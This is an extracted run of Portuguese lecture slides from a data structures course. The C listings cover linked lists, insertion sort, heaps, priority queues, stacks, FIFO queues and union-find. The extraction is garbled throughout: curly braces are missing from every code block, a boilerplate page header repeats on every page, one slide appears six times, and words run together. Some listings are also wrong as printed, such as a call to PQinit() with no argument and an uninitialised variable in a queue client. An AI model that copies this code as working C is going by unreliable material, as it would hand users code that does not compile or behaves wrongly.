link t, y = x, r = NULL;

while (y != NULL)

t = y->next; y->next = r; r = y; y = t;

return r;

AED 2003/2004 – p.358/554

Page 420: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 1

static int *vect;

void init()

int i;

vect = (int*) malloc(N*sizeof(int));

for (i=0; i<N; i++)

vect[i] = rand() % M;

void print()

int i;

printf("[ ");

for (i=0; i<N; i++)

printf("%d ", vect[i]);

printf("]\n");

AED 2003/2004 – p.359/554

Page 421: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 1

void isort() /* Utiliza tabela */

int i, j;

for (i=1; i<N; i++)

int key = vect[i];

j = i-1;

while (j>=0 && vect[j] > key)

vect[j+1] = vect[j];

j--;

vect[j+1] = key;

AED 2003/2004 – p.360/554

Page 422: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 2

typedef int Item;

typedef struct node *link;

struct node Item item; link next; ;

static struct node *head;

void init()

int i;

link pt, pv;

head = NULL;

for (i = 0; i < N; i++)

pt = malloc(sizeof *pt);

pt->next = NULL;

pt->item = rand() % M;

if (!head) head = pt;

else pv->next = pt;

pv = pt;

AED 2003/2004 – p.361/554

Page 423: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 2

void isort() /* Utiliza lista */

link pa, pb, px, py, pz;

for (px = head->next, py = head; px != NULL; px = pz)

py->next = px->next;

pz = px->next;

for (pb=head, pa=pb; pb!=pz; pa=pb, pb=pb->next)

if (pb->item > px->item)

break;

if (pa == pb) head = px;

else pa->next = px;

px->next = pb;

if (pb == pz) py = px;

AED 2003/2004 – p.362/554

Page 424: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 3

typedef int Item;

typedef struct node *link;

struct node Item item; link next; ;

static struct node *heada, *headb;

void init()

int i;

link t, u, a;

heada = (link) malloc(sizeof(*heada));

headb = (link) malloc(sizeof(*headb));

a = heada;

for (i = 0, t = a; i < N; i++)

t->next = malloc(sizeof *t);

t = t->next; t->next = NULL;

t->item = rand() % M;

AED 2003/2004 – p.363/554

Page 425: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Insertion sort – Versão 3

void isort() /* Utiliza lista com sentinela */

link t, u, x, b;

b = headb; b->next = NULL;

for (t = heada->next; t != NULL; t = u)

u = t->next;

for (x = b; x->next != NULL; x = x->next)

if (x->next->item > t->item) break;

t->next = x->next; x->next = t;

heada->next = headb->next;

headb->next = NULL;

AED 2003/2004 – p.364/554

Page 426: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Lista Duplamente Ligada

struct iitem

int value;

struct iitem *next;

struct iitem *prev;

;

typedef struct iitem IntItem;

typedef IntItem* IntItemPtr;

static IntItemPtr first = NULL;

static IntItemPtr last = NULL;

static IntItemPtr alloc_item()

return (IntItemPtr) malloc(sizeof(IntItem));

AED 2003/2004 – p.365/554

Page 427: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Lista Duplamente Ligada

void init()

first = alloc_item();

last = alloc_item();

first->next = last;

first->prev = NULL;

last->next = NULL;

last->prev = first;

AED 2003/2004 – p.366/554

Page 428: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Lista Duplamente Ligada

int insert(int value)

IntItemPtr px, nitem;

for (px = first->next; px != last && px->value < value; px = px->next)

;

if (px != last && px->value == value)

return 0; /* no duplicates */

nitem = alloc_item();

nitem->value = value;

px->prev->next = nitem;

nitem->prev = px->prev;

nitem->next = px;

px->prev = nitem;

return 1;

AED 2003/2004 – p.367/554

Page 429: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Lista Duplamente Ligada

int delete(int value)

IntItemPtr px;

for (px = first->next; px != last && px->value < value; px = px->next)

;

if (px && px->value == value)

px->prev->next = px->next;

px->next->prev = px->prev;

free(px);

return 1;

return 0;

AED 2003/2004 – p.368/554

Page 430: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Lista Duplamente Ligada

void delete_list()

IntItemPtr px;

while (px = first)

first = first->next;

free(px);

first = last = NULL;

void print_list()

IntItemPtr px;

printf("[ ");

for (px = first->next; px != last; px = px->next)

printf("%d ", px->value);

printf("]\n");

AED 2003/2004 – p.369/554

Page 431: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Interface para processamento de listas

#include <stdlib.h>

#include "list.h"

link freelist;

void initNodes(int N)

int i;

freelist = malloc((N+1)*(sizeof *freelist));

for (i = 0; i < N+1; i++)

freelist[i].next = &freelist[i+1];

freelist[N].next = NULL;

link newNode(int i)

link x = deleteNext(freelist);

x->item = i; x->next = x;

return x;

AED 2003/2004 – p.370/554

Page 432: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Interface para processamento de listas

void freeNode(link x)

insertNext(freelist, x);

void insertNext(link x, link t)

t->next = x->next; x->next = t;

link deleteNext(link x)

link t = x->next; x->next = t->next; return t;

link Next(link x)

return x->next;

int Item(link x)

return x->item;

AED 2003/2004 – p.371/554

Page 433: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Amontoados

Uma árvore está heap-ordered se a chave de cada nófor maior ou igual às chaves dos seus filhos

X

T O

G S M N

A E R A I

Nenhum nó tem uma chave superior à raíz

Uma árvore binária é completa se apenas o último nívelestiver incompleto, e faltarem apenas os nós mais àdireita. AED 2003/2004 – p.372/554

Page 434: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Amontoados

X

T O

G S M N

A E R A I

1 2 3 4 5 6 7 8 9 10 11 12X T O G S M N A E R A I

Parente do nó i é o nó bi/2cFilhos do nó i são os nós 2i e 2i + 1

AED 2003/2004 – p.373/554

Page 435: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações em amontoados: fixUp

Chamada quando a prioridade de um nó é aumentada

Nó tem de ser deslocado para cima

fixUp(Item a[], int k)while (k > 1 && less(a[k/2], a[k]))

exch(a[k], a[k/2]); k = k/2;

AED 2003/2004 – p.374/554

Page 436: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações em amontoados: fixDown

Chamada quando a prioridade de um nó é diminuída

Nó tem de ser deslocado para baixo, até ao último nívelou até que a prioridade do nó alterado seja maior queambos os filhos

fixDown(Item a[], int k, int N) int j;while (2*k <= N)

j = 2*k;if (j < N && less(a[j], a[j+1])) j++;if (!less(a[k], a[j])) break;exch(a[k], a[j]); k = j;

AED 2003/2004 – p.375/554

Page 437: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Fila de prioridades

#include <stdlib.h>

#include "Item.h"

static Item *pq;

static int N;

void PQinit(int maxN)

pq = malloc((maxN+1)*sizeof(Item)); N = 0;

int PQempty()

return N == 0;

void PQinsert(Item v)

pq[++N] = v; fixUp(pq, N);

Item PQdelmax()

exch(pq[1], pq[N]);

fixDown(pq, 1, N-1);

return pq[N--];

AED 2003/2004 – p.376/554

Page 438: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Ordenação com fila de prioridades

void PQsort(Item a[], int l, int r)

int k;

PQinit();

for (k = l; k <= r; k++) PQinsert(a[k]);

for (k = r; k >= l; k--) a[k] = PQdelmax();

AED 2003/2004 – p.377/554

Page 439: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Fila de prioridades com tabela

#include <stdlib.h>

#include "Item.h"

static Item *pq;

static int N;

void PQinit(int maxN)

pq = malloc(maxN*sizeof(Item)); N = 0;

int PQempty()

return N == 0;

void PQinsert(Item v)

pq[N++] = v;

Item PQdelmax()

int j, max = 0;

for (j = 1; j < N; j++)

if (less(pq[max], pq[j])) max = j;

exch(pq[max], pq[N-1]);

return pq[--N];

AED 2003/2004 – p.378/554

Page 440: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Heapsort

#define pq(A) a[l-1+A]

void heapsort(Item a[], int l, int r)

int k, N = r-l+1;

for (k = N/2; k >= 1; k--)

fixDown(&pq(0), k, N);

while (N > 1)

exch(pq(1), pq(N));

fixDown(&pq(0), 1, --N);

AED 2003/2004 – p.379/554

Page 441: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.380/554

Page 442: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.381/554

Page 443: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.382/554

Page 444: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte X

Sedgewick, Cap. 4

AED 2003/2004 – p.383/554

Page 445: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 446: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 447: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 448: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 449: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 450: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos

Necessidade de tipos de dados abstractos

Objectos

Pilhas

Exemplos de clientes

ADTs para FIFOs e filas

ADTs para Union-Find

AED 2003/2004 – p.384/554

Page 451: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos Abstractos de Dados (ADT)

Mesmas estruturas (Pilhas, FIFOs, Listas) são usadascom muitos tipos de dados

Exemplo:Pilhas para inteirosTabela de dispersão para reaisAmontoados de estruturas

Mesmo código pode (e deve) ser utilizado

Funções de manipulação (e.g., ordenação) partilhadas

Código tem de ser independente do tipo de dados

Dados vistos como objectos, com interfaces claras

AED 2003/2004 – p.385/554

Page 452: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo de abstracção

ComparaçãoPara inteiros, operação x1 == x2

Para strings, operação !strcmp(x1,x2)

Solução:Para inteiros:

typedef int Item;#define eq(A,B) (A == B)

Para strings:typedef char* Item;#define eq(A,B) (!strcmp(A,B))

AED 2003/2004 – p.386/554

Page 453: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

ADT e colecções de objectos

ADTs são úteis para manipular colecções de objectos

Operações típicas:Comparações entre objectosOperações de entrada e saída (leitura e escrita)Inserção em colecçõesApagamento de colecçõesAlteração de propriedades (e.g., prioridade)

ADTs deste tipo são denominados filas generalizadas

AED 2003/2004 – p.387/554

Page 454: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

ADT Stack

Definição da interface

void STACKinit(int);int STACKempty();void STACKpush(Item);Item STACKpop();

AED 2003/2004 – p.388/554

Page 455: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: Calculadora RPN

#include <stdio.h>

#include <string.h>

#include "Item.h" /* Item foi definido como int */

#include "STACK.h"

main(int argc, char *argv[])

char *a = argv[1]; int i, N = strlen(a);

STACKinit(N);

for (i = 0; i < N; i++)

if (a[i] == ’+’)

STACKpush(STACKpop()+STACKpop());

if (a[i] == ’*’)

STACKpush(STACKpop()*STACKpop());

if ((a[i] >= ’0’) && (a[i] <= ’9’))

STACKpush(0);

while ((a[i] >= ’0’) && (a[i] <= ’9’))

STACKpush(10*STACKpop() + (a[i++]-’0’));

printf("%d \n", STACKpop());

AED 2003/2004 – p.389/554

Page 456: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: Conversão de Infix to Postfix

#include <stdio.h>

#include <string.h>

#include "Item.h" /* Item foi definido como char */

#include "STACK.h"

main(int argc, char *argv[])

char *a = argv[1]; int i, N = strlen(a);

STACKinit(N);

for (i = 0; i < N; i++)

if (a[i] == ’)’)

printf("%c ", STACKpop());

if ((a[i] == ’+’) || (a[i] == ’*’))

STACKpush(a[i]);

if ((a[i] >= ’0’) && (a[i] <= ’9’))

printf("%c ", a[i]);

printf("\n");

AED 2003/2004 – p.390/554

Page 457: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Implementação do stack com tabela

#include <stdlib.h>

#include "Item.h"

#include "STACK.h"

static Item *s;

static int N;

void STACKinit(int maxN)

s = malloc(maxN*sizeof(Item)); N = 0;

int STACKempty()

return N == 0;

void STACKpush(Item item)

s[N++] = item;

Item STACKpop()

return s[--N];

AED 2003/2004 – p.391/554

Page 458: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Implementação do stack com lista

#include <stdlib.h>

#include "Item.h"

typedef struct STACKnode* link;

struct STACKnode Item item; link next; ;

static link head;

link NEW(Item item, link next)

link x = malloc(sizeof *x);

x->item = item; x->next = next; return x;

void STACKinit(int maxN)

head = NULL;

int STACKempty()

return head == NULL;

STACKpush(Item item)

head = NEW(item, head);

Item STACKpop()

Item item = head->item;

link t = head->next;

free(head); head = t;

return item;

AED 2003/2004 – p.392/554

Page 459: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Projecto de ADTs

Três problemas separados:Definição da interfaceImplementação do ADTProjecto e implementação do cliente

Exemplo: Union-Find ADT

AED 2003/2004 – p.393/554

Page 460: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Interface do Union-Find

void UFinit(int);int UFfind(int, int);int UFunion(int, int);

AED 2003/2004 – p.394/554

Page 461: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Cliente do Union-Find: Conectividade

Lê pares de nós (ramos) de um grafo

Imprime apenas os pares que ainda não estão ligados

#include <stdio.h>

#include "UF.h"

main(int argc, char *argv[])

int p, q, N = atoi(argv[1]);

UFinit(N);

while (scanf("%d %d", &p, &q) == 2)

if (!UFfind(p, q))

UFunion(p, q);

printf(" %d %d\n", p, q);

AED 2003/2004 – p.395/554

Page 462: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Implementação do Union-Find

#include <stdlib.h>

#include "UF.h"

static int *id, *sz;

void UFinit(int N)

int i;

id = malloc(N*sizeof(int));

sz = malloc(N*sizeof(int));

for (i = 0; i < N; i++)

id[i] = i; sz[i] = 1;

static int find(int x)

int i = x;

while (i != id[i]) i = id[i]; return i;

int UFfind(int p, int q)

return (find(p) == find(q));

AED 2003/2004 – p.396/554

Page 463: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Implementação do Union-Find

int UFunion(int p, int q)

int i = find(p), j = find(q);

if (i == j) return;

if (sz[i] < sz[j])

id[i] = j; sz[j] += sz[i];

else id[j] = i; sz[i] += sz[j];

AED 2003/2004 – p.397/554

Page 464: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Vantagens do uso de ADTs

Solução elegante

Separa os problemas:Alto nível: conectividade num grafoBaixo nível: como manter as estruturas de dados

Permite comparar diferentes implementações

Permite re-utilizar o código

Alternativa (confusa): juntar tudo

AED 2003/2004 – p.398/554

Page 465: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conectividade sem ADTs

Complexidade: O(MN), (M operações, N nós)#include <stdio.h>

#define N 10000

main()

int i, p, q, t, id[N];

for (i = 0; i < N; i++) id[i] = i;

while (scanf("%d %d\n", &p, &q) == 2)

if (id[p] == id[q]) continue;

for (t = id[p], i = 0; i < N; i++)

if (id[i] == t) id[i] = id[q];

printf(" %d %d\n", p, q);

AED 2003/2004 – p.399/554

Page 466: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conectividade mais rápida

#include <stdio.h>

#define N 10000

main()

int i, p, q, t, id[N];

for (i = 0; i < N; i++) id[i] = i;

while (scanf("%d %d\n", &p, &q) == 2)

for (i = p; i != id[i]; i = id[i]) ;

for (j = q; j != id[j]; j = id[j]) ;

if (i == j) continue;

id[i] = j;

printf(" %d %d\n", p, q);

AED 2003/2004 – p.400/554

Page 467: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Weighted version

Complexidade: O(M log N), (M operações, N nós)#include <stdio.h>

#define N 10000

main()

int i, j, p, q, id[N], sz[N];

for (i = 0; i < N; i++)

id[i] = i; sz[i] = 1;

while (scanf("%d %d\n", &p, &q) == 2)

for (i = p; i != id[i]; i = id[i]) ;

for (j = q; j != id[j]; j = id[j]) ;

if (i == j) continue;

if (sz[i] < sz[j])

id[i] = j; sz[j] += sz[i];

else id[j] = i; sz[i] += sz[j];

printf(" %d %d\n", p, q);

AED 2003/2004 – p.401/554

Page 468: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Path compression

#include <stdio.h>

#define N 10000

main()

int i, j, p, q, id[N], sz[N];

for (i = 0; i < N; i++)

id[i] = i; sz[i] = 1;

while (scanf("%d %d\n", &p, &q) == 2)

for (i = p; i != id[i]; i = id[i])

int t = i; i = id[id[t]]; id[t] = i;

for (j = q; j != id[j]; j = id[j])

int t = j; j = id[id[t]]; id[t] = j;

if (i == j) continue;

if (sz[i] < sz[j])

id[i] = j; sz[j] += sz[i];

else id[j] = i; sz[i] += sz[j];

printf(" %d %d\n", p, q);

AED 2003/2004 – p.402/554

Page 469: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Interface do FIFO ADT

void QUEUEinit(int);int QUEUEempty();void QUEUEput(Item);Item QUEUEget();

AED 2003/2004 – p.403/554

Page 470: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização do FIFO ADT (listas)

#include <stdlib.h>

#include "Item.h"

#include "QUEUE.h"

typedef struct QUEUEnode* link;

struct QUEUEnode Item item; link next; ;

static link head, tail;

link NEW(Item item, link next)

link x = malloc(sizeof *x);

x->item = item; x->next = next;

return x;

void QUEUEinit(int maxN)

head = NULL;

int QUEUEempty()

return head == NULL;

AED 2003/2004 – p.404/554

Page 471: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização do FIFO ADT (listas)

QUEUEput(Item item)

if (head == NULL)

head = (tail = NEW(item, head)); return;

tail->next = NEW(item, tail->next);

tail = tail->next;

Item QUEUEget()

Item item = head->item;

link t = head->next;

free(head); head = t;

return item;

AED 2003/2004 – p.405/554

Page 472: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização do FIFO ADT (tabelas)

#include <stdlib.h>

#include "Item.h"

static Item *q;

static int N, head, tail;

void QUEUEinit(int maxN)

q = malloc((maxN+1)*sizeof(Item));

N = maxN+1; head = N; tail = 0;

int QUEUEempty()

return head % N == tail;

void QUEUEput(Item item)

q[tail++] = item; tail = tail % N;

Item QUEUEget()

head = head % N; return q[head++];

AED 2003/2004 – p.406/554

Page 473: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Interface do ADT Fila de Prioridade

void PQinit(int);int PQempty();void PQinsert(Item);Item PQdelmax();

AED 2003/2004 – p.407/554

Page 474: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização do ADT fila de prioridade

#include <stdlib.h>

#include "Item.h"

static Item *pq;

static int N;

void PQinit(int maxN)

pq = malloc((maxN+1)*sizeof(Item)); N = 0;

int PQempty()

return N == 0;

void PQinsert(Item v)

pq[++N] = v; fixUp(pq, N);

Item PQdelmax()

exch(pq[1], pq[N]);

fixDown(pq, 1, N-1);

return pq[N--];

AED 2003/2004 – p.408/554

Page 475: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização do ADT fila de prioridade

static void fixUp(Item a[], int k)

while (k > 1 && less(a[k/2], a[k]))

exch(a[k], a[k/2]); k = k/2;

static void fixDown(Item a[], int k, int N)

int j;

while (2*k <= N)

j = 2*k;

if (j < N && less(a[j], a[j+1])) j++;

if (!less(a[k], a[j])) break;

exch(a[k], a[j]); k = j;

AED 2003/2004 – p.409/554

Page 476: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

ADTs de primeira ordem

Mais do que um ADT pode estar presente

Exemplo: múltiplas queues

typedef struct queue *Q;void QUEUEdump(Q);

Q QUEUEinit(int maxN);int QUEUEempty(Q);void QUEUEput(Q, Item);Item QUEUEget(Q);

AED 2003/2004 – p.410/554

Page 477: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Cliente de ADTs de primeira ordem

#include <stdio.h>

#include <stdlib.h>

#include "Item.h"

#include "QUEUE.h"

#define M 10

main(int argc, char *argv[])

int i, j, N = atoi(argv[1]);

Q queues[M];

for (i = 0; i < M; i++)

queues[i] = QUEUEinit(N);

for (i = 0; i < N; i++)

QUEUEput(queues[rand() % M], j);

for (i = 0; i < M; i++, printf("\n"))

for (j = 0; !QUEUEempty(queues[i]); j++)

printf("%3d ", QUEUEget(queues[i]));

AED 2003/2004 – p.411/554

Page 478: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Realização de ADTs de primeira ordem

#include <stdlib.h>

#include "Item.h"

#include "QUEUE.h"

typedef struct QUEUEnode* link;

struct QUEUEnode Item item; link next; ;

struct queue link head; link tail; ;

link NEW(Item item, link next)

link x = malloc(sizeof *x);

x->item = item; x->next = next;

return x;

Q QUEUEinit(int maxN)

Q q = malloc(sizeof *q);

q->head = NULL; q->tail = NULL;

return q;

int QUEUEempty(Q q)

return q->head == NULL;

AED 2003/2004 – p.412/554

